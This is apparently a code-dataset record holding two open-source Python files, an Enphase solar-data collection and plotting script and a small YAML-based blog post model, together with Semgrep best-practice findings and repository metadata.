"https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 162 ]
[ 162 ]
[ 16 ]
[ 26 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
engine.py
/textgenerator/engine.py
yespon/text-generator
BSD-2-Clause
2024-11-18T18:59:41.446756+00:00
1,630,699,716,000
7822cb2205b7991c4830b0da21be48cfe54560ec
3
{ "blob_id": "7822cb2205b7991c4830b0da21be48cfe54560ec", "branch_name": "refs/heads/master", "committer_date": 1630699716000, "content_id": "2c80e0198594835f260a848b02c31b2196a4d73a", "detected_licenses": [ "MIT" ], "directory_id": "d57ed5d0c40c69fa8143ee10b7189e6082cf23bc", "extension": "py", "filename": "summarize.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 127605674, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12173, "license": "MIT", "license_type": "permissive", "path": "/summarize.py", "provenance": "stack-edu-0054.json.gz:569318", "repo_name": "alanmitchell/solar-summary", "revision_date": 1630699716000, "revision_id": "60647d50645ec1464e91b8b7d974be86c26c70de", "snapshot_id": "9af0e9042d9ce44bbf9ec6f26c5599cd4ccc89ca", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/alanmitchell/solar-summary/60647d50645ec1464e91b8b7d974be86c26c70de/summarize.py", "visit_date": "2021-09-08T11:00:44.576308" }
2.875
stackv2
#!/usr/bin/env python3 """Script to collect and summarize 5 minute power production data from an Enphase Solar PV system. The data collection portion of the script adds 5 minute power production records to the 'records.csv' file in this directory. The plotting portion of the script creates a number of data summary plots that are saved into the 'images' subdirectory. The script is meant to be run from a Cron job. It needs a 'settings.py' file in the script directory to run, and that file should be patterned after 'settings_example.py' found in this repo. For continual use, you can run the Cron job every 10 minutes and stay within the Enphase free tier API limits (10,000 API calls per month), becuase each run of the script will generally call the API once. If you are loading historical data into the system, you can probably run the script every minute if you are loading a couple years of historical data; the script won't exceed the per minute API limit (10 calls / minute), and you will be done loading data in (total days) / 9 minutes, since one call to the script will load 9 days of data. There are some plotting commands (e.g. tick spacing, axis limits) that improve formatting for my particular solar system; you will need to change those (or delete those) for your system. The script requires the Pandas, Requests, and Matplotlib Python packages to be present on the system. """ import time from os.path import dirname, join, realpath from datetime import timedelta, datetime import pandas as pd import requests import matplotlib matplotlib.use('Agg') from matplotlib.pyplot import * import settings # path to this directory APP_PATH = dirname(realpath(__file__)) #----------------------------------------------------------------------------- # Data Collection Portion of the script. url = 'https://api.enphaseenergy.com/api/v2/systems/{}/'.format(settings.SYSTEM_ID) # Files that track last record loaded and all records. FN_LAST_TS = join(APP_PATH, 'last_ts') FN_RECORDS = join(APP_PATH, 'records.csv') if settings.COLLECT: payload_base = { 'key': settings.API_KEY, 'user_id': settings.USER_ID, } try: start_at = int(open(FN_LAST_TS).read()) except: start_at = requests.get(url + 'summary', params=payload_base).json()['operational_at'] payload = payload_base.copy() for i in range(9): time.sleep(2) print(start_at) payload['start_at'] = start_at res = requests.get(url + 'stats', params=payload).json() if 'intervals' not in res: break recs = list(map(lambda r: (r['end_at'], r['devices_reporting'], r['powr']), res['intervals'])) if len(recs): with open(FN_RECORDS, 'a') as fout: for rec in recs: fout.write('{},{},{}\n'.format(*rec)) start_at = recs[-1][0] else: # sometimes there will be a 24 hour period without any reports, so advance # the starting time a day and try again. Only do this if it will not advance # beyond the current time. if time.time() > start_at + 24*3600: start_at += 24*3600 # if we are within two weeks of the current time, don't call the API again. # If we're within 2 weeks, this is probably normal use of the script as opposed # to loading historical data. If it is the last days of loading historical data, # it will only take 14 more runs of the script to finish up, which isn't that long. if start_at > time.time() - 3600 * 24 * 14: break open(FN_LAST_TS, 'w').write(str(start_at)) #----------------------------------------------------------------------------- # Plot creation portion of the script MONTH_NAMES = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'] def get_data(use_dst=True): """ Read the data, delete device count column. Rembmer that the timestamps mark the end of the interval Make a Date/Time field, Alaska Time, and use it for the index. Fill out missing 5 minute intervals with 0s. If 'use_dst' is True, account for Daylight Savings Time. Drop the 'usecols' parameter to get the 'device_count' column as well. """ dfd = pd.read_csv(FN_RECORDS, usecols=['ts', 'power']) dfd['dts'] = pd.to_datetime(dfd.ts, unit='s') dfd.drop(['ts'], axis=1, inplace=True) if not use_dst: akst_adj = timedelta(hours=9) dfd['dts'] = dfd.dts - akst_adj dfd.set_index('dts', inplace=True) dfd = dfd[~dfd.index.duplicated(keep='last')] dfd = dfd.asfreq('5T', fill_value=0.0) if use_dst: dfd.index = dfd.index.tz_localize('UTC').tz_convert('US/Alaska').tz_localize(None) return dfd def save_plot(file_name): """Saves the current Matplotlib figure to the file 'file_name' in the PNG format (with a .png extension) in the 'images' subdirectory. Prior to saving, executes the tight_layout() command to reduce whitesapce around the plot area of the figure. """ tight_layout() savefig(join(APP_PATH, 'images/{}.png'.format(file_name))) # 'style' the plot like fivethirtyeight.com website style.use('bmh') rcParams['figure.figsize']= (10, 7) # set Chart Size rcParams['font.size'] = 14 # set Font size in Chart if settings.PLOT: df = get_data(use_dst=True) # Save it to a pickle file for download df.to_pickle(join(APP_PATH, 'df_solar.pkl')) # kWh bar graph for last 4 weeks production dfd = df.resample('1D').sum()/12000. dfd.columns=['kWh'] dfdt = dfd.tail(28) dfdt.plot.barh(legend=False, width=0.8, figsize=(12, 12)) grid(axis='y') yticklabels = [d.strftime('%b %d') for d in dfdt.index] yticks(range(len(dfdt)), yticklabels) gca().get_yaxis().get_label().set_visible(False) xlabel('kWh produced in Day') for i in range(len(dfdt)): kWh = dfdt.iloc[i].kWh if kWh > dfdt.kWh.max() * 0.07: text(kWh*.99, i-.15, '{:.2f}'.format(kWh), horizontalalignment='right', weight='bold', color='white') save_plot('last_days') # Plot last few days in data set. def day_to_lbl(d): return str(d)[:10] clf() cur_day = dfdt.index[-1] prev_day = dfdt.index[-2] max_day = dfdt.kWh.idxmax() min_day = dfdt[:-1].kWh.idxmin() max_done = False min_done = False if cur_day == max_day: cur_day_lbl = f'{day_to_lbl(cur_day)} max' max_done = True else: cur_day_lbl = day_to_lbl(cur_day) if prev_day == max_day: prev_day_lbl = f'{day_to_lbl(prev_day)} max' max_done = True elif prev_day == min_day: prev_day_lbl = f'{day_to_lbl(prev_day)} min' min_done = True else: prev_day_lbl = day_to_lbl(prev_day) plot_days = [ (cur_day, cur_day_lbl), (prev_day, prev_day_lbl) ] if not max_done: plot_days.append( (max_day, f'{day_to_lbl(max_day)} max') ) if not min_done: plot_days.append( (min_day, f'{day_to_lbl(min_day)} min') ) figure(figsize=(10, 7)) for dt, lbl in plot_days: df_1day = df.loc[str(dt) : str(dt + pd.Timedelta('86399S'))] # through last second of day xvals = [t.hour + t.minute/60 for t in df_1day.index.time] if dt==cur_day: plot(xvals, df_1day.power, linewidth=3, label=lbl) elif dt==prev_day: plot(xvals, df_1day.power, linewidth=1.2, label=lbl) else: plot(xvals, df_1day.power, linewidth=1.2, linestyle='--', label=lbl) xticks(range(0, 24, 2)) legend() ylabel('Power Produced Today, Watts') xlabel('Hour of Day') save_plot('last_day') # Total Monthly Energy production by month and separate lines # for each year. dfm = df.resample('1M').sum() / 12000. dfm['mo'] = dfm.index.month dfm['yr'] = dfm.index.year dfmp = pd.pivot_table(dfm, values='power', index='mo', columns='yr') dfmp.plot(marker='o', linewidth=1) xticks(range(0,13)) gca().set_xticklabels([''] + MONTH_NAMES) ylabel('kWh in Month') xlabel('Month') save_plot('by_month_by_year') # Make a set of tick locations and labels for those plots that # plot against each day of the year. Mark the start of each month. doy_locs = [] doy_lbls = [] for m in range(1, 13): dt = datetime(2018, m, 1) doy_locs.append(dt.timetuple().tm_yday) doy_lbls.append(dt.strftime('%b')) # Cumulative kWh for each year, by Day-of-Year dfd = df.resample('1D').sum() / 12000. dfd['day_of_year'] = dfd.index.dayofyear dfd['yr'] = dfd.index.year dfdp = pd.pivot_table(dfd, values='power', index='day_of_year', columns='yr') dfdp.drop([2016], axis=1, inplace=True) # doesn't start at beginning of year dfdp.cumsum().plot() ylabel('Cumulative kWh') xlabel('Day of Year') xticks(doy_locs, doy_lbls) xlim(-5, 370) save_plot('cum_kwh') # Zoomed in version of the above, just up to the current day. dfcs = dfdp.cumsum().dropna() lr = dfcs.iloc[-1] ahead = lr[2018] - lr[2017] print('2018 kWh - 2017 kWh: {:.0f} kWh'.format(ahead)) dfcs.plot() xlabel('Day of Year'); ylabel('Cumulative kWh') # limit the xticks locs = [l for l in doy_locs if l <= dfcs.index[-1] + 15] xticks(locs, doy_lbls[:len(locs)]) save_plot('cum_kwh_partial') # Separate Hourly profile for each month. dfb = df.copy() dfb['Hour'] = dfb.index.hour dfb['mo'] = dfb.index.month dfbp = dfb.pivot_table(values='power', index='Hour', columns='mo', aggfunc='mean') dfbp.columns = MONTH_NAMES dfbp.plot(subplots=True, layout=(4, 3), figsize=(12, 16), sharex=True, sharey=True) yticks(range(0, 3000, 500)); save_plot('monthly_profile') # Maximum power production that has occurred in each month. clf() dfb.groupby('mo').agg('max')['power'].plot(marker='o', linewidth=1, figsize=(10, 7)) ylabel('Maximum Power Production, Watts') xticks(range(0,13)) gca().set_xticklabels([''] + MONTH_NAMES); save_plot('max_power') # Box plot of daily energy production for each month. dfd = df.resample('1D').sum() / 12000. dfd.columns = ['Daily kWh'] dfd['mo'] = dfd.index.month dfd[:-1].boxplot(by='mo') # last day may be partial, eliminate gca().set_xticklabels(MONTH_NAMES) xlabel('') ylabel('kWh in Day') title('') save_plot('monthly_box') # Every day's energy production plotted against Day-of-Year dfd = df.resample('1D').sum() / 12000. dfd.columns = ['kWh'] dfd['day_of_year'] = dfd.index.dayofyear dfd[:-1].plot.scatter(x='day_of_year', y='kWh', s=4) # last day may be partial, eliminate ylabel('kWh in Day') xlabel('Day of Year'); xticks(doy_locs, doy_lbls) xlim(-5, 370) save_plot('daily_production') # Plot the Highest Energy Day imax = dfd.kWh.idxmax() d = str(imax)[:10] max_e = dfd.loc[imax].kWh df.loc[d].plot(legend=False) title('Day with Most Energy: {}, {:.1f} kWh'.format(d, max_e)) xlabel('Time') ylabel('Power, Watts'); save_plot('max_energy_day') # Plot the Highest Power Day imax = df.power.idxmax() d = str(imax)[:10] max_p = df.loc[imax].power df.loc[d].plot(legend=False) title('Day with Maximum Peak Power: {}, {:.0f} Watts'.format(d, max_p)) xlabel('Time') ylabel('Power, Watts') save_plot('max_power_day') # Plot rolling sum of AC kWh Produced per DC kW installed dfr = (df.resample('1D').sum() / 12000. / settings.SYSTEM_KW).rolling(365).sum() avg_norm = dfr.mean().power dfr.plot(legend=False) xlabel('End of 365 Day Period') ylabel('AC kWh Produced / DC kW installed') text(0.07, 0.85, 'Average: {:.0f} kWh-AC / kW-DC installed'.format(avg_norm), transform=gca().transAxes, color='green') save_plot('rolling_yr_kwh')
343
34.49
102
19
3,456
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_addb5074a03a4b40_fe589bc4", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 59, "line_end": 59, "column_start": 24, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/addb5074a03a4b40.py", "start": {"line": 59, "col": 24, "offset": 2193}, "end": {"line": 59, "col": 40, "offset": 2209}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_addb5074a03a4b40_01009cba", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 61, "line_end": 61, "column_start": 20, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmpb8jm_z1l/addb5074a03a4b40.py", "start": {"line": 61, "col": 20, "offset": 2249}, "end": {"line": 61, "col": 70, "offset": 2299}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_addb5074a03a4b40_bf72cc9b", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(url + 'summary', params=payload_base, timeout=30)", "location": {"file_path": "unknown", "line_start": 61, "line_end": 61, "column_start": 20, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpb8jm_z1l/addb5074a03a4b40.py", "start": {"line": 61, "col": 20, "offset": 2249}, "end": {"line": 61, "col": 70, "offset": 2299}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(url + 'summary', params=payload_base, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_addb5074a03a4b40_37de8a1b", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 66, "line_end": 66, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/addb5074a03a4b40.py", "start": {"line": 66, "col": 9, "offset": 2392}, "end": {"line": 66, "col": 22, "offset": 2405}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_addb5074a03a4b40_b42ffab3", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 70, "line_end": 70, "column_start": 15, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmpb8jm_z1l/addb5074a03a4b40.py", "start": {"line": 70, "col": 15, "offset": 2485}, "end": {"line": 70, "col": 58, "offset": 2528}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_addb5074a03a4b40_3382d8c7", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(url + 'stats', params=payload, timeout=30)", "location": {"file_path": "unknown", "line_start": 70, "line_end": 70, "column_start": 15, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpb8jm_z1l/addb5074a03a4b40.py", "start": {"line": 70, "col": 15, "offset": 2485}, "end": {"line": 70, "col": 58, "offset": 2528}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(url + 'stats', params=payload, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_addb5074a03a4b40_f5957d9f", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 75, "line_end": 75, "column_start": 35, "column_end": 83, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/addb5074a03a4b40.py", "start": {"line": 75, "col": 35, "offset": 2625}, "end": {"line": 75, "col": 83, "offset": 2673}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_addb5074a03a4b40_e61178e0", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 77, "line_end": 77, "column_start": 18, "column_end": 39, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/addb5074a03a4b40.py", "start": {"line": 77, "col": 18, "offset": 2733}, "end": {"line": 77, "col": 39, "offset": 2754}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_addb5074a03a4b40_cbd99093", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 96, "line_end": 96, "column_start": 5, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/addb5074a03a4b40.py", "start": {"line": 96, "col": 5, "offset": 3636}, "end": {"line": 96, "col": 26, "offset": 3657}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
9
true
[ "" ]
[ "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 75 ]
[ 75 ]
[ 35 ]
[ 83 ]
[ "" ]
[ "`return` only makes sense inside a function" ]
[ 5 ]
[ "" ]
[ "" ]
summarize.py
/summarize.py
alanmitchell/solar-summary
MIT
2024-11-18T19:11:47.341948+00:00
1,496,209,181,000
dcf51cd291c00075e938d418f2c01921ed6afbf2
3
{ "blob_id": "dcf51cd291c00075e938d418f2c01921ed6afbf2", "branch_name": "refs/heads/master", "committer_date": 1496209181000, "content_id": "b764a0afe56c30334cedf0b99372cb55ab844de8", "detected_licenses": [ "MIT" ], "directory_id": "14060038591587c62edcb365cfbc99fdf469363d", "extension": "py", "filename": "Post.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 65703011, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4417, "license": "MIT", "license_type": "permissive", "path": "/stablogen/Post.py", "provenance": "stack-edu-0054.json.gz:569339", "repo_name": "iguessthislldo/stablogen", "revision_date": 1496209181000, "revision_id": "8474aa2847d3d9f859e38857421e13f321249e29", "snapshot_id": "fb38ede4a0c48c85353afe4088d152fb044f5637", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/iguessthislldo/stablogen/8474aa2847d3d9f859e38857421e13f321249e29/stablogen/Post.py", "visit_date": "2020-05-21T13:43:27.644305" }
2.796875
stackv2
# Python Standard Library from collections import OrderedDict import itertools # 3rd Party Libraries import arrow, yaml # Local from stablogen.config import * from stablogen.util import make_url, find_files # Uses OrderedDict to keep order the data in the order below yaml.add_representer(OrderedDict, lambda self, data: self.represent_mapping('tag:yaml.org,2002:map', data.items()) ) post_yaml_tags = ('title', 'tags', 'created', 'when', 'last_edited') # Support Arrow Objects in PyYAML (At least date time equilvalent) arrow_tag='!arrow.Arrow' yaml.add_representer(arrow.Arrow, lambda dumper, data: dumper.represent_scalar(arrow_tag, str(data)) ) yaml.add_constructor(arrow_tag, lambda loader, node: arrow.get(loader.construct_scalar(node)) ) # Core code class Post: '''Core type of the program, represents a post in the blog. ''' inventory = dict() loaded = False def __init__( self, title, content, tags=[], url=None, when=None, last_edited = None, created = None, extension = None ): self.title = title self.url = make_url(title, url) self.content = content self.tags = tags self.when = when self.last_edited = last_edited self.created = created self.extension = extension def create(self): self.created = arrow.utcnow() def finalize(self): self.when = arrow.utcnow() def edit(self): self.last_edited = arrow.utcnow() def apply_tags(self): for tag in self.tags: if tag in Tag.inventory.keys(): Tag.inventory[tag].add_post(self) else: Tag.inventory[tag] = Tag(tag, [self]) def __str__(self): rest = (" " + self.when.humanize()) if self.when is not None else "" return self.title + ' (' + self.url + ')' + rest def __repr__(self): return '<' + self.__class__.__name__ + ': ' + str(self) + '>' @staticmethod def load(post_file): if not post_file.is_file(): return None lines = iter(post_file.read_text().split('\n')) m = yaml.load('\n'.join(itertools.takewhile(str.strip, lines))) return Post( title = m['title'], tags = m['tags'], content = '\n'.join(lines), created = m['created'], when = m['when'], last_edited = m['last_edited'], extension = post_file.suffix, ) @classmethod def load_all(cls, input_dir): if not cls.loaded: for post_file in find_files( input_dir/posts_dirname, exts = post_file_exts ): post = cls.load(post_file) if post is None: continue post.apply_tags() Post.inventory[post.url] = post cls.loaded = True def save(self, posts_dir): if not posts_dir.is_dir(): posts_dir.mkdir(parents=True, exist_ok=True) ordered = OrderedDict() for tag in post_yaml_tags: ordered[tag] = getattr(self, tag) posts_dir.joinpath(self.url + self.extension).write_text( yaml.dump(ordered) + '\n' + self.content ) @classmethod def get_finalized(cls, input_dir, final=True): cls.load_all(input_dir) if final: is_final = lambda p: p.when is not None else: is_final = lambda p: p.when is None return sorted( filter(is_final, cls.inventory.values()), key=lambda p: p.when, reverse=True ) def date(self, fmt = 'YYYY-MM-DD'): when = "" if self.when is None else self.when.format(fmt) last_edited = "" if self.last_edited is None else ( " edited: " + self.when.format(fmt) ) return when + last_edited class Tag: inventory = dict() def __init__(self, name, posts=[]): self.name = name self.url = make_url(name) self.posts = posts def add_post(self, post): if post not in self.posts: self.posts.append(post) @classmethod def get_most_tagged(cls, input_dir): Post.load_all(input_dir) return sorted( cls.inventory.values(), key = lambda t: len(t.posts), reverse = True )
152
28.06
76
16
1,010
python
